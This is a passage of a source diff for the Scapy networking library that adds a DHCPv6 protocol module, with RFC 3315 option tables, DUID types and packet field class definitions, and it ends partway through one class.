+                             ("domain", self.domain),
+                             ("router", self.gw),
+                             ("name_server", self.gw),
+                             ("broadcast_address", self.broadcast),
+                             ("subnet_mask", self.netmask),
+                             ("renewal_time", self.renewal_time),
+                             ("lease_time", self.lease_time), 
+                             "end"
+                             ]
+            resp /= DHCP(options=dhcp_options)
+        return resp
+    
+
diff --git a/scapy/layers/dhcp6.py b/scapy/layers/dhcp6.py
new file mode 100644
index 0000000..fa58ccc
--- /dev/null
+++ b/scapy/layers/dhcp6.py
@@ -0,0 +1,1706 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>
+##                     Arnaud Ebalard <arnaud.ebalard@eads.net>
+
+"""
+DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315]
+"""
+
+from __future__ import print_function
+import socket
+import struct
+import time
+
+from scapy.ansmachine import AnsweringMachine
+from scapy.arch import get_if_raw_hwaddr, in6_getifaddr
+from scapy.config import conf
+from scapy.data import EPOCH, ETHER_ANY
+from scapy.compat import *
+from scapy.error import warning
+from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \
+    FlagsField, IntEnumField, IntField, MACField, PacketField, \
+    PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \
+    StrLenField, UTCTimeField, X3BytesField, XIntField, XShortEnumField, \
+    PacketLenField
+from scapy.layers.inet import UDP
+from scapy.layers.inet6 import DomainNameListField, IP6Field, IP6ListField, IPv6
+from scapy.packet import Packet, bind_bottom_up
+from scapy.pton_ntop import inet_pton
+from scapy.sendrecv import send
+from scapy.themes import Color
+from scapy.utils6 import in6_addrtovendor, in6_islladdr
+
+#############################################################################
+# Helpers                                                                  ##
+#############################################################################
+
+def get_cls(name, fallback_cls):
+    return globals().get(name, fallback_cls)
+
+
+#############################################################################
+#############################################################################
+###                                DHCPv6                                 ###
+#############################################################################
+#############################################################################
+
+All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" 
+All_DHCP_Servers = "ff05::1:3"  # Site-Local scope : deprecated by 3879
+
+dhcp6opts = { 1: "CLIENTID",  
+              2: "SERVERID",
+              3: "IA_NA",
+              4: "IA_TA",
+              5: "IAADDR",
+              6: "ORO",
+              7: "PREFERENCE",
+              8: "ELAPSED_TIME",
+              9: "RELAY_MSG",
+             11: "AUTH",
+             12: "UNICAST",
+             13: "STATUS_CODE",
+             14: "RAPID_COMMIT",
+             15: "USER_CLASS",
+             16: "VENDOR_CLASS",
+             17: "VENDOR_OPTS",
+             18: "INTERFACE_ID",
+             19: "RECONF_MSG",
+             20: "RECONF_ACCEPT",
+             21: "SIP Servers Domain Name List",     #RFC3319
+             22: "SIP Servers IPv6 Address List",    #RFC3319
+             23: "DNS Recursive Name Server Option", #RFC3646
+             24: "Domain Search List option",        #RFC3646
+             25: "OPTION_IA_PD",                     #RFC3633
+             26: "OPTION_IAPREFIX",                  #RFC3633
+             27: "OPTION_NIS_SERVERS",               #RFC3898
+             28: "OPTION_NISP_SERVERS",              #RFC3898
+             29: "OPTION_NIS_DOMAIN_NAME",           #RFC3898
+             30: "OPTION_NISP_DOMAIN_NAME",          #RFC3898
+             31: "OPTION_SNTP_SERVERS",              #RFC4075
+             32: "OPTION_INFORMATION_REFRESH_TIME",  #RFC4242
+             33: "OPTION_BCMCS_SERVER_D",            #RFC4280         
+             34: "OPTION_BCMCS_SERVER_A",            #RFC4280
+             36: "OPTION_GEOCONF_CIVIC",             #RFC-ietf-geopriv-dhcp-civil-09.txt
+             37: "OPTION_REMOTE_ID",                 #RFC4649
+             38: "OPTION_SUBSCRIBER_ID",             #RFC4580
+             39: "OPTION_CLIENT_FQDN",               #RFC4704
+             68: "OPTION_VSS",                       #RFC6607
+             79: "OPTION_CLIENT_LINKLAYER_ADDR" }    #RFC6939
+
+dhcp6opts_by_code = {  1: "DHCP6OptClientId", 
+                       2: "DHCP6OptServerId",
+                       3: "DHCP6OptIA_NA",
+                       4: "DHCP6OptIA_TA",
+                       5: "DHCP6OptIAAddress",
+                       6: "DHCP6OptOptReq",
+                       7: "DHCP6OptPref",
+                       8: "DHCP6OptElapsedTime",
+                       9: "DHCP6OptRelayMsg",
+                       11: "DHCP6OptAuth",
+                       12: "DHCP6OptServerUnicast",
+                       13: "DHCP6OptStatusCode",
+                       14: "DHCP6OptRapidCommit",
+                       15: "DHCP6OptUserClass",
+                       16: "DHCP6OptVendorClass",
+                       17: "DHCP6OptVendorSpecificInfo",
+                       18: "DHCP6OptIfaceId",
+                       19: "DHCP6OptReconfMsg",
+                       20: "DHCP6OptReconfAccept",
+                       21: "DHCP6OptSIPDomains",          #RFC3319
+                       22: "DHCP6OptSIPServers",          #RFC3319
+                       23: "DHCP6OptDNSServers",          #RFC3646
+                       24: "DHCP6OptDNSDomains",          #RFC3646
+                       25: "DHCP6OptIA_PD",               #RFC3633
+                       26: "DHCP6OptIAPrefix",            #RFC3633
+                       27: "DHCP6OptNISServers",          #RFC3898
+                       28: "DHCP6OptNISPServers",         #RFC3898
+                       29: "DHCP6OptNISDomain",           #RFC3898
+                       30: "DHCP6OptNISPDomain",          #RFC3898
+                       31: "DHCP6OptSNTPServers",         #RFC4075
+                       32: "DHCP6OptInfoRefreshTime",     #RFC4242
+                       33: "DHCP6OptBCMCSDomains",        #RFC4280         
+                       34: "DHCP6OptBCMCSServers",        #RFC4280
+                       #36: "DHCP6OptGeoConf",            #RFC-ietf-geopriv-dhcp-civil-09.txt
+                       37: "DHCP6OptRemoteID",            #RFC4649
+                       38: "DHCP6OptSubscriberID",        #RFC4580
+                       39: "DHCP6OptClientFQDN",          #RFC4704
+                       #40: "DHCP6OptPANAAgent",          #RFC-ietf-dhc-paa-option-05.txt
+                       #41: "DHCP6OptNewPOSIXTimeZone,    #RFC4833
+                       #42: "DHCP6OptNewTZDBTimeZone,     #RFC4833
+                       43: "DHCP6OptRelayAgentERO",       #RFC4994
+                       #44: "DHCP6OptLQQuery",            #RFC5007
+                       #45: "DHCP6OptLQClientData",       #RFC5007
+                       #46: "DHCP6OptLQClientTime",       #RFC5007
+                       #47: "DHCP6OptLQRelayData",        #RFC5007
+                       #48: "DHCP6OptLQClientLink",       #RFC5007
+                       68: "DHCP6OptVSS",                 #RFC6607
+                       79: "DHCP6OptClientLinkLayerAddr", #RFC6939
+}
+
+
+# sect 5.3 RFC 3315 : DHCP6 Messages types
+dhcp6types = {   1:"SOLICIT",
+                 2:"ADVERTISE",
+                 3:"REQUEST",
+                 4:"CONFIRM",
+                 5:"RENEW",
+                 6:"REBIND",
+                 7:"REPLY",
+                 8:"RELEASE",
+                 9:"DECLINE",
+                10:"RECONFIGURE",
+                11:"INFORMATION-REQUEST",
+                12:"RELAY-FORW",
+                13:"RELAY-REPL" }
+
+
+#####################################################################
+###                  DHCPv6 DUID related stuff                    ###
+#####################################################################
+
+duidtypes = { 1: "Link-layer address plus time", 
+              2: "Vendor-assigned unique ID based on Enterprise Number",
+              3: "Link-layer Address",
+              4: "UUID" }
+
+# DUID hardware types - RFC 826 - Extracted from 
+# http://www.iana.org/assignments/arp-parameters on 31/10/06
+# We should add the length of every kind of address.
+duidhwtypes = {  0: "NET/ROM pseudo", # Not referenced by IANA
+                 1: "Ethernet (10Mb)",
+                 2: "Experimental Ethernet (3Mb)",
+                 3: "Amateur Radio AX.25",
+                 4: "Proteon ProNET Token Ring",
+                 5: "Chaos",
+                 6: "IEEE 802 Networks",
+                 7: "ARCNET",
+                 8: "Hyperchannel",
+                 9: "Lanstar",
+                10: "Autonet Short Address",
+                11: "LocalTalk",
+                12: "LocalNet (IBM PCNet or SYTEK LocalNET)",
+                13: "Ultra link",
+                14: "SMDS",
+                15: "Frame Relay",
+                16: "Asynchronous Transmission Mode (ATM)",
+                17: "HDLC",
+                18: "Fibre Channel",
+                19: "Asynchronous Transmission Mode (ATM)",
+                20: "Serial Line",
+                21: "Asynchronous Transmission Mode (ATM)",
+                22: "MIL-STD-188-220",
+                23: "Metricom",
+                24: "IEEE 1394.1995",
+                25: "MAPOS",
+                26: "Twinaxial",
+                27: "EUI-64",
+                28: "HIPARP",
+                29: "IP and ARP over ISO 7816-3",
+                30: "ARPSec",
+                31: "IPsec tunnel",
+                32: "InfiniBand (TM)",
+                33: "TIA-102 Project 25 Common Air Interface (CAI)" }
+
+class _UTCTimeField(UTCTimeField):
+    def __init__(self, *args, **kargs):
+        epoch_2000 = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch
+        UTCTimeField.__init__(self, epoch=epoch_2000, *args, **kargs)
+
+class _LLAddrField(MACField):
+    pass
+
+# XXX We only support Ethernet addresses at the moment. _LLAddrField 
+#     will be modified when needed. Ask us. --arno
+class DUID_LLT(Packet):  # sect 9.2 RFC 3315
+    name = "DUID - Link-layer address plus time"
+    fields_desc = [ ShortEnumField("type", 1, duidtypes),
+                    XShortEnumField("hwtype", 1, duidhwtypes), 
+                    _UTCTimeField("timeval", 0), # i.e. 01 Jan 2000
+                    _LLAddrField("lladdr", ETHER_ANY) ]
+
+# In fact, IANA enterprise-numbers file available at 
+# http://www.iana.org/assignments/enterprise-numbers
+# is simply huge (more than 2Mo and 600Ko in bz2). I'll
+# add only most common vendors, and encountered values.
+# -- arno
+iana_enterprise_num = {    9: "ciscoSystems",
+                          35: "Nortel Networks",
+                          43: "3Com",
+                         311: "Microsoft",
+                        2636: "Juniper Networks, Inc.",
+                        4526: "Netgear",
+                        5771: "Cisco Systems, Inc.",
+                        5842: "Cisco Systems",
+                       16885: "Nortel Networks" }
+
+class DUID_EN(Packet):  # sect 9.3 RFC 3315
+    name = "DUID - Assigned by Vendor Based on Enterprise Number"
+    fields_desc = [ ShortEnumField("type", 2, duidtypes),
+                    IntEnumField("enterprisenum", 311, iana_enterprise_num),
+                    StrField("id","") ] 
+
+class DUID_LL(Packet):  # sect 9.4 RFC 3315
+    name = "DUID - Based on Link-layer Address"
+    fields_desc = [ ShortEnumField("type", 3, duidtypes),
+                    XShortEnumField("hwtype", 1, duidhwtypes), 
+                    _LLAddrField("lladdr", ETHER_ANY) ]
+
+class DUID_UUID(Packet):  # RFC 6355
+    name = "DUID - Based on UUID"
+    fields_desc = [ ShortEnumField("type", 4, duidtypes),
+                    StrFixedLenField("uuid","", 16) ]
+
+duid_cls = { 1: "DUID_LLT",
+             2: "DUID_EN",
+             3: "DUID_LL",
+             4: "DUID_UUID"}
+
+#####################################################################
+###                   DHCPv6 Options classes                      ###
+#####################################################################
+
+class _DHCP6OptGuessPayload(Packet):
+    def guess_payload_class(self, payload):
+        cls = conf.raw_layer
+        if len(payload) > 2 :
+            opt = struct.unpack("!H", payload[:2])[0]
+            cls = get_cls(dhcp6opts_by_code.get(opt, "DHCP6OptUnknown"), DHCP6OptUnknown)
+        return cls
+
+class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option
+    name = "Unknown DHCPv6 Option"
+    fields_desc = [ ShortEnumField("optcode", 0, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="data", fmt="!H"),
+                    StrLenField("data", "",
+                                length_from = lambda pkt: pkt.optlen)]
+
+class _DUIDField(PacketField):
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, length_from=None):
+        StrField.__init__(self, name, default)
+        self.length_from = length_from
+
+    def i2m(self, pkt, i):
+        return raw(i)
+
+    def m2i(self, pkt, x):
+        cls = conf.raw_layer
+        if len(x) > 4:
+            o = struct.unpack("!H", x[:2])[0]
+            cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer)
+        return cls(x)
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        return s[l:], self.m2i(pkt,s[:l])
+ 
+
+class DHCP6OptClientId(_DHCP6OptGuessPayload):     # RFC sect 22.2
+    name = "DHCP6 Client Identifier Option"
+    fields_desc = [ ShortEnumField("optcode", 1, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="duid", fmt="!H"),
+                    _DUIDField("duid", "",
+                               length_from = lambda pkt: pkt.optlen) ]
+
+
+class DHCP6OptServerId(DHCP6OptClientId):     # RFC sect 22.3
+    name = "DHCP6 Server Identifier Option"
+    optcode = 2
+
+# Should be encapsulated in the option field of IA_NA or IA_TA options
+# Can only appear at that location.
+# TODO : last field IAaddr-options is not defined in the reference document
+class DHCP6OptIAAddress(_DHCP6OptGuessPayload):    # RFC sect 22.6
+    name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)"
+    fields_desc = [ ShortEnumField("optcode", 5, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="iaaddropts",
+                                  fmt="!H", adjust = lambda pkt,x: x+24),
+                    IP6Field("addr", "::"),
+                    IntField("preflft", 0),
+                    IntField("validlft", 0),
+                    StrLenField("iaaddropts", "",
+                                length_from  = lambda pkt: pkt.optlen - 24) ]
+    def guess_payload_class(self, payload):
+        return conf.padding_layer
+
+class _IANAOptField(PacketListField):
+    def i2len(self, pkt, z):
+        if z is None or z == []:
+            return 0
+        return sum(len(raw(x)) for x in z)
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        lst = []
+        remain, payl = s[:l], s[l:]
+        while len(remain)>0:
+            p = self.m2i(pkt,remain)
+            if conf.padding_layer in p:
+                pad = p[conf.padding_layer]
+                remain = pad.load
+                del(pad.underlayer.payload)
+            else:
+                remain = ""
+            lst.append(p)
+        return payl,lst
+
+class DHCP6OptIA_NA(_DHCP6OptGuessPayload):         # RFC sect 22.4
+    name = "DHCP6 Identity Association for Non-temporary Addresses Option"
+    fields_desc = [ ShortEnumField("optcode", 3, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="ianaopts",
+                                  fmt="!H", adjust = lambda pkt,x: x+12),
+                    XIntField("iaid", None),
+                    IntField("T1", None),
+                    IntField("T2", None),
+                    _IANAOptField("ianaopts", [], DHCP6OptIAAddress,
+                                  length_from = lambda pkt: pkt.optlen-12) ]
+
+class _IATAOptField(_IANAOptField):
+    pass
+
+class DHCP6OptIA_TA(_DHCP6OptGuessPayload):         # RFC sect 22.5
+    name = "DHCP6 Identity Association for Temporary Addresses Option"
+    fields_desc = [ ShortEnumField("optcode", 4, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="iataopts",
+                                  fmt="!H", adjust = lambda pkt,x: x+4),
+                    XIntField("iaid", None),
+                    _IATAOptField("iataopts", [], DHCP6OptIAAddress,
+                                  length_from = lambda pkt: pkt.optlen-4) ]
+
+
+#### DHCPv6 Option Request Option ###################################
+
+class _OptReqListField(StrLenField):
+    islist = 1
+    def i2h(self, pkt, x):
+        if x is None:
+            return []
+        return x
+
+    def i2len(self, pkt, x):
+        return 2*len(x)
+
+    def any2i(self, pkt, x):
+        return x
+
+    def i2repr(self, pkt, x):
+        s = []
+        for y in self.i2h(pkt, x):
+            if y in dhcp6opts:
+                s.append(dhcp6opts[y])
+            else:
+                s.append("%d" % y)
+        return "[%s]" % ", ".join(s) 
+
+    def m2i(self, pkt, x):
+        r = []
+        while len(x) != 0:
+            if len(x)<2:
+                warning("Odd length for requested option field. Rejecting last byte")
+                return r
+            r.append(struct.unpack("!H", x[:2])[0])
+            x = x[2:]
+        return r
+    
+    def i2m(self, pkt, x):
+        return b"".join(struct.pack('!H', y) for y in x)
+
+# A client may include an ORO in a solicit, Request, Renew, Rebind,
+# Confirm or Information-request
+class DHCP6OptOptReq(_DHCP6OptGuessPayload):       # RFC sect 22.7
+    name = "DHCP6 Option Request Option"
+    fields_desc = [ ShortEnumField("optcode", 6, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="reqopts", fmt="!H"),
+                    _OptReqListField("reqopts", [23, 24],
+                                     length_from = lambda pkt: pkt.optlen) ]
+
+
+#### DHCPv6 Preference Option #######################################
+
+# emise par un serveur pour affecter le choix fait par le client. Dans
+# les messages Advertise, a priori
+class DHCP6OptPref(_DHCP6OptGuessPayload):       # RFC sect 22.8
+    name = "DHCP6 Preference Option"
+    fields_desc = [ ShortEnumField("optcode", 7, dhcp6opts), 
+                    ShortField("optlen", 1 ),
+                    ByteField("prefval",255) ]
+
+
+#### DHCPv6 Elapsed Time Option #####################################
+
+class _ElapsedTimeField(ShortField):
+    def i2repr(self, pkt, x):
+        if x == 0xffff:
+            return "infinity (0xffff)"
+        return "%.2f sec" % (self.i2h(pkt, x)/100.)
+
+class DHCP6OptElapsedTime(_DHCP6OptGuessPayload):# RFC sect 22.9
+    name = "DHCP6 Elapsed Time Option"
+    fields_desc = [ ShortEnumField("optcode", 8, dhcp6opts), 
+                    ShortField("optlen", 2),
+                    _ElapsedTimeField("elapsedtime", 0) ]
+
+
+#### DHCPv6 Authentication Option ###################################
+
+#    The following fields are set in an Authentication option for the
+#    Reconfigure Key Authentication Protocol:
+#
+#       protocol    3
+#
+#       algorithm   1
+#
+#       RDM         0
+#
+#    The format of the Authentication information for the Reconfigure Key
+#    Authentication Protocol is:
+#
+#      0                   1                   2                   3
+#      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+#     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+#     |     Type      |                 Value (128 bits)              |
+#     +-+-+-+-+-+-+-+-+                                               |
+#     .                                                               .
+#     .                                                               .
+#     .                                               +-+-+-+-+-+-+-+-+
+#     |                                               |
+#     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+#
+#       Type    Type of data in Value field carried in this option:
+#
+#                  1   Reconfigure Key value (used in Reply message).
+#
+#                  2   HMAC-MD5 digest of the message (used in Reconfigure
+#                      message).
+#
+#       Value   Data as defined by field.
+
+
+# TODO : Decoding only at the moment
+class DHCP6OptAuth(_DHCP6OptGuessPayload):    # RFC sect 22.11
+    name = "DHCP6 Option - Authentication"
+    fields_desc = [ ShortEnumField("optcode", 11, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="authinfo",
+                                  adjust = lambda pkt,x: x+11),
+                    ByteField("proto", 3), # TODO : XXX
+                    ByteField("alg", 1), # TODO : XXX
+                    ByteField("rdm", 0), # TODO : XXX
+                    StrFixedLenField("replay", "A"*8, 8), # TODO: XXX
+                    StrLenField("authinfo", "",
+                                length_from = lambda pkt: pkt.optlen - 11) ]
+
+#### DHCPv6 Server Unicast Option ###################################
+
+class _SrvAddrField(IP6Field):
+    def i2h(self, pkt, x):
+        if x is None:
+            return "::"
+        return x
+    
+    def i2m(self, pkt, x):
+        return inet_pton(socket.AF_INET6, self.i2h(pkt,x))
+
+class DHCP6OptServerUnicast(_DHCP6OptGuessPayload):# RFC sect 22.12
+    name = "DHCP6 Server Unicast Option"
+    fields_desc = [ ShortEnumField("optcode", 12, dhcp6opts), 
+                    ShortField("optlen", 16 ),
+                    _SrvAddrField("srvaddr",None) ]
+
+
+#### DHCPv6 Status Code Option ######################################
+
+dhcp6statuscodes = { 0:"Success",      # sect 24.4
+                     1:"UnspecFail",
+                     2:"NoAddrsAvail",
+                     3:"NoBinding",
+                     4:"NotOnLink",
+                     5:"UseMulticast",
+                     6:"NoPrefixAvail"} # From RFC3633
+
+class DHCP6OptStatusCode(_DHCP6OptGuessPayload):# RFC sect 22.13
+    name = "DHCP6 Status Code Option"
+    fields_desc = [ ShortEnumField("optcode", 13, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="statusmsg",
+                                  fmt="!H", adjust = lambda pkt,x:x+2),
+                    ShortEnumField("statuscode",None,dhcp6statuscodes),
+                    StrLenField("statusmsg", "",
+                                length_from = lambda pkt: pkt.optlen-2) ]
+
+
+#### DHCPv6 Rapid Commit Option #####################################
+
+class DHCP6OptRapidCommit(_DHCP6OptGuessPayload):   # RFC sect 22.14
+    name = "DHCP6 Rapid Commit Option"
+    fields_desc = [ ShortEnumField("optcode", 14, dhcp6opts),
+                    ShortField("optlen", 0)]
+
+
+#### DHCPv6 User Class Option #######################################
+
+class _UserClassDataField(PacketListField):
+    def i2len(self, pkt, z):
+        if z is None or z == []:
+            return 0
+        return sum(len(raw(x)) for x in z)
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        lst = []
+        remain, payl = s[:l], s[l:]
+        while len(remain)>0:
+            p = self.m2i(pkt,remain)
+            if conf.padding_layer in p:
+                pad = p[conf.padding_layer]
+                remain = pad.load
+                del(pad.underlayer.payload)
+            else:
+                remain = ""
+            lst.append(p)
+        return payl,lst
+
+
+class USER_CLASS_DATA(Packet):
+    name = "user class data"
+    fields_desc = [ FieldLenField("len", None, length_of="data"),
+                    StrLenField("data", "",
+                                length_from = lambda pkt: pkt.len) ]
+    def guess_payload_class(self, payload):
+        return conf.padding_layer
+
+class DHCP6OptUserClass(_DHCP6OptGuessPayload):# RFC sect 22.15
+    name = "DHCP6 User Class Option"
+    fields_desc = [ ShortEnumField("optcode", 15, dhcp6opts), 
+                    FieldLenField("optlen", None, fmt="!H",
+                                  length_of="userclassdata"),
+                    _UserClassDataField("userclassdata", [], USER_CLASS_DATA,
+                                        length_from = lambda pkt: pkt.optlen) ]
+
+
+#### DHCPv6 Vendor Class Option #####################################
+
+class _VendorClassDataField(_UserClassDataField):
+    pass
+
+class VENDOR_CLASS_DATA(USER_CLASS_DATA):
+    name = "vendor class data"
+
+class DHCP6OptVendorClass(_DHCP6OptGuessPayload):# RFC sect 22.16
+    name = "DHCP6 Vendor Class Option"
+    fields_desc = [ ShortEnumField("optcode", 16, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="vcdata", fmt="!H",
+                                  adjust = lambda pkt,x: x+4),
+                    IntEnumField("enterprisenum",None , iana_enterprise_num ),
+                    _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA,
+                                          length_from = lambda pkt: pkt.optlen-4) ]
+
+#### DHCPv6 Vendor-Specific Information Option ######################
+
+class VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload):
+    name = "vendor specific option data"
+    fields_desc = [ ShortField("optcode", None),
+                    FieldLenField("optlen", None, length_of="optdata"),
+                    StrLenField("optdata", "",
+                                length_from = lambda pkt: pkt.optlen) ]
+    def guess_payload_class(self, payload):
+        return conf.padding_layer
+
+# The third one that will be used for nothing interesting
+class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload):# RFC sect 22.17
+    name = "DHCP6 Vendor-specific Information Option"
+    fields_desc = [ ShortEnumField("optcode", 17, dhcp6opts), 
+                    FieldLenField("optlen", None, length_of="vso", fmt="!H",
+                                  adjust = lambda pkt,x: x+4),
+                    IntEnumField("enterprisenum",None , iana_enterprise_num),
+                    _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION,
+                                          length_from = lambda pkt: pkt.optlen-4) ]
+
+#### DHCPv6 Interface-ID Option #####################################
+
+# Repasser sur cette option a la fin. Elle a pas l'air d'etre des
+# masses critique.
+class DHCP6OptIfaceId(_DHCP6OptGuessPayload):# RFC sect 22.18
+    name = "DHCP6 Interface-Id Option"
+    fields_desc = [ ShortEnumField("optcode", 18, dhcp6opts),
+                    FieldLenField("optlen", None, fmt="!H",
+                                  length_of="ifaceid"),
+                    StrLenField("ifaceid", "",
+                                length_from = lambda pkt: pkt.optlen) ]
+
+
+#### DHCPv6 Reconfigure Message Option ##############################
+
+# A server includes a Reconfigure Message option in a Reconfigure
+# message to indicate to the client whether the client responds with a
+# renew message or an Information-request message.
+class DHCP6OptReconfMsg(_DHCP6OptGuessPayload):       # RFC sect 22.19
+    name = "DHCP6 Reconfigure Message Option"
+    fields_desc = [ ShortEnumField("optcode", 19, dhcp6opts), 
+                    ShortField("optlen", 1 ),
+                    ByteEnumField("msgtype", 11, {  5:"Renew Message", 
+                                                   11:"Information Request"}) ]
+
+
+#### DHCPv6 Reconfigure Accept Option ###############################
+
+# A client uses the Reconfigure Accept option to announce to the
+# server whether the client is willing to accept Recoonfigure
+# messages, and a server uses this option to tell the client whether
+# or not to accept Reconfigure messages. The default behavior in the
+# absence of this option, means unwillingness to accept reconfigure
+# messages, or instruction not to accept Reconfigure messages, for the
+# client and server messages, respectively.
+class DHCP6OptReconfAccept(_DHCP6OptGuessPayload):   # RFC sect 22.20
+    name = "DHCP6 Reconfigure Accept Option"
+    fields_desc = [ ShortEnumField("optcode", 20, dhcp6opts),
+                    ShortField("optlen", 0)]
+
+class DHCP6OptSIPDomains(_DHCP6OptGuessPayload):       #RFC3319
+    name = "DHCP6 Option - SIP Servers Domain Name List"
+    fields_desc = [ ShortEnumField("optcode", 21, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="sipdomains"),
+                    DomainNameListField("sipdomains", [],
+                                        length_from = lambda pkt: pkt.optlen) ]
+
+class DHCP6OptSIPServers(_DHCP6OptGuessPayload):          #RFC3319
+    name = "DHCP6 Option - SIP Servers IPv6 Address List"
+    fields_desc = [ ShortEnumField("optcode", 22, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="sipservers"),
+                    IP6ListField("sipservers", [], 
+                                 length_from = lambda pkt: pkt.optlen) ]
+
+class DHCP6OptDNSServers(_DHCP6OptGuessPayload):          #RFC3646
+    name = "DHCP6 Option - DNS Recursive Name Server"
+    fields_desc = [ ShortEnumField("optcode", 23, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="dnsservers"),
+                    IP6ListField("dnsservers", [],
+                                 length_from = lambda pkt: pkt.optlen) ]
+
+class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): #RFC3646
+    name = "DHCP6 Option - Domain Search List option"
+    fields_desc = [ ShortEnumField("optcode", 24, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="dnsdomains"),
+                    DomainNameListField("dnsdomains", [],
+                                        length_from = lambda pkt: pkt.optlen) ]
+
+# TODO: Implement iaprefopts correctly when provided with more 
+#       information about it.
+class DHCP6OptIAPrefix(_DHCP6OptGuessPayload):                    #RFC3633
+    name = "DHCP6 Option - IA_PD Prefix option"
+    fields_desc = [ ShortEnumField("optcode", 26, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="iaprefopts",
+                                  adjust = lambda pkt,x: x+25),
+                    IntField("preflft", 0),
+                    IntField("validlft", 0),
+                    ByteField("plen", 48),  # TODO: Challenge that default value
+                    IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt
+                    StrLenField("iaprefopts", "",
+                                length_from = lambda pkt: pkt.optlen-25) ]
+
+class DHCP6OptIA_PD(_DHCP6OptGuessPayload):                       #RFC3633
+    name = "DHCP6 Option - Identity Association for Prefix Delegation"
+    fields_desc = [ ShortEnumField("optcode", 25, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="iapdopt",
+                                  adjust = lambda pkt,x: x+12),
+                    IntField("iaid", 0),
+                    IntField("T1", 0),
+                    IntField("T2", 0),
+                    PacketListField("iapdopt", [], DHCP6OptIAPrefix,
+                                    length_from = lambda pkt: pkt.optlen-12) ]
+
+class DHCP6OptNISServers(_DHCP6OptGuessPayload):                 #RFC3898
+    name = "DHCP6 Option - NIS Servers"
+    fields_desc = [ ShortEnumField("optcode", 27, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="nisservers"),
+                    IP6ListField("nisservers", [],
+                                 length_from = lambda pkt: pkt.optlen) ]
+
+class DHCP6OptNISPServers(_DHCP6OptGuessPayload):                #RFC3898
+    name = "DHCP6 Option - NIS+ Servers"
+    fields_desc = [ ShortEnumField("optcode", 28, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="nispservers"),
+                    IP6ListField("nispservers", [],
+                                 length_from = lambda pkt: pkt.optlen) ]
+
+class DomainNameField(StrLenField):
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        return s[l:], self.m2i(pkt,s[:l])
+
+    def i2len(self, pkt, x):
+        return len(self.i2m(pkt, x))
+
+    def m2i(self, pkt, x):
+        cur = []
+        while x:
+            l = orb(x[0])
+            cur.append(x[1:1+l])
+            x = x[l+1:]
+        return b".".join(cur)
+
+    def i2m(self, pkt, x):
+        if not x:
+            return b""
+        return b"".join(chb(len(z)) + z for z in x.split(b'.'))
+
+class DHCP6OptNISDomain(_DHCP6OptGuessPayload):             #RFC3898
+    name = "DHCP6 Option - NIS Domain Name"
+    fields_desc = [ ShortEnumField("optcode", 29, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="nisdomain"),
+                    DomainNameField("nisdomain", "",
+                                    length_from = lambda pkt: pkt.optlen) ]
+
+class DHCP6OptNISPDomain(_DHCP6OptGuessPayload):            #RFC3898
+    name = "DHCP6 Option - NIS+ Domain Name"
+    fields_desc = [ ShortEnumField("optcode", 30, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="nispdomain"),
+                    DomainNameField("nispdomain", "",
+                                    length_from= lambda pkt: pkt.optlen) ]
+
+class DHCP6OptSNTPServers(_DHCP6OptGuessPayload):                #RFC4075
+    name = "DHCP6 option - SNTP Servers"
+    fields_desc = [ ShortEnumField("optcode", 31, dhcp6opts),
+                    FieldLenField("optlen", None, length_of="sntpservers"),
+                    IP6ListField("sntpservers", [],
+                                 length_from = lambda pkt: pkt.optlen) ]
+
+IRT_DEFAULT=86400
+IRT_MINIMUM=600
+class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload):    #RFC4242
+    name = "DHCP6 Option - Information Refresh Time"
+    fields_desc = [ ShortEnumField("optcode", 32, dhcp6opts),
+                    ShortField("optlen", 4),
+                    IntField("reftime", IRT_DEFAULT)] # One day
+
+class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload):              #RFC4280         
+    name = "DHCP6 Option - BCMCS Domain Name List"
+    fields_desc = [ ShortEnumField("optcode", 33, dhcp6opts),
